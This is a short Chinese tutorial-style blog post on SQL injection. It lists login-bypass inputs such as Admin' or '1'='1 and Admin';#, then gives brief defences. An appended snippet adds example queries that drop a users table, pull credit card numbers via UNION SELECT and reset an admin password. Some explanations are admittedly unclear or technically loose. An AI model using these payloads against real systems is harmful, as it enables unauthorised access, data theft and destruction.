SQL注入语句

一、SQL注入语句

账号:Admin

密码:123456

登录验证语句为select * from 表名 where UserName = '用户名' and UserPassword = '用户密码";的系统可通过以下注入方式可能可绕过密码登录进入系统。

1、

Admin' or '1'='1

123(任意密码)

注释:形成一个恒为真的条件,是SQL查询判断失败

2、

Admin';#

123

注释:#注释点后续语句(#注释失败请尝试--作为注释)

3、

1' or '1'='1

123(任意密码)

注释:该方式登录成功的原因还没弄清楚,大神请告知

二、SQL注入防御

1、查询出来的结果再和用户名密码比较如果一致则是正常登陆,不一致认为是攻击

2、通过正则表达式进行匹配用户名是否合法

帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$

其中最后一个“_”处可添加其他的字符表示允许通过的字符。

  • 3
    点赞
  • 45
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
SQL注入是一种常见的攻击手段,通过在Web应用程序的输入框中注入恶意的SQL代码来使得数据库服务器执行指定的操作。攻击者可以利用SQL注入漏洞来绕过应用程序的认证和授权机制、窃取敏感数据、篡改数据等。 以下是一些常见的SQL注入语句实例: 1. SELECT * FROM users WHERE username = 'admin' AND password = '123456' OR 1=1'; 这个语句的意思是在查询用户时,如果用户名是admin,且密码为123456,则登录成功;否则,如果1=1(始终为真),则也认为是登录成功,这就存在SQL注入漏洞。 2. SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; 这个语句是一种恶意的SQL注入语句,攻击者通过在用户名输入框中注入DROP TABLE语句,就可以删除用户表,造成严重的损失。 3. SELECT * FROM users WHERE username = 'admin' UNION SELECT credit_card_number, '' FROM credit_cards; 这个语句利用了UNION关键字,将用户表和信用卡表合并在一起查询,从而窃取信用卡信息。 4. SELECT * FROM users WHERE username = 'admin' AND password LIKE '%123'; 这个语句在查询用户密码时使用了LIKE操作符和通配符%,攻击者可以在密码输入框中输入%符号,从而绕过密码验证,登录成功。 5. SELECT * FROM users WHERE username = 'admin' AND 1=1; UPDATE users SET password = 'new_password' WHERE username = 'admin'; 这个语句将恶意的UPDATE语句嵌入到SELECT语句中,攻击者可以通过这个语句来修改管理员的密码。 以上是一些常见的SQL注入语句实例,这些注入语句可能会造成用户信息泄漏、数据篡改、系统崩溃等风险,因此开发人员需要在开发过程中加强对输入验证、参数化查询等安全措施的应用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值